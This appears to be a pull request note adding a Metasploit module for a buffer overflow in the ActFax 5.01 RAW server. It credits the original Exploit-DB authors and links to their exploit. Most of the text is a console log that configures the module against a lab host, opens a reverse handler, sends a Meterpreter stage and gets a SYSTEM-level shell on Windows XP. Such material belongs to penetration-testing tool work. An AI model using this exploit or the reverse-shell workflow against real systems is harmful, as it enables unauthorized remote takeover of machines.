added module for OSVDB 89944

Seen in Exploit-DB and written by Craig Freyman and corelanc0d3r, just cleaned it a little and did pull request, maybe some of the authors would like to comment something about it :)

Vuln app and original exploit at http://www.exploit-db.com/exploits/24467/

```
msf > use exploit/windows/misc/actfax_raw_server_bof 
msf exploit(actfax_raw_server_bof) > set rhost 192.168.1.147
rhost => 192.168.1.147
msf exploit(actfax_raw_server_bof) > set rport 5555
rport => 5555
msf exploit(actfax_raw_server_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] Trying target ActFax 5.01 / Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.147:1494) at 2013-03-22 21:48:56 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
eComputer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(actfax_raw_server_bof) > 

```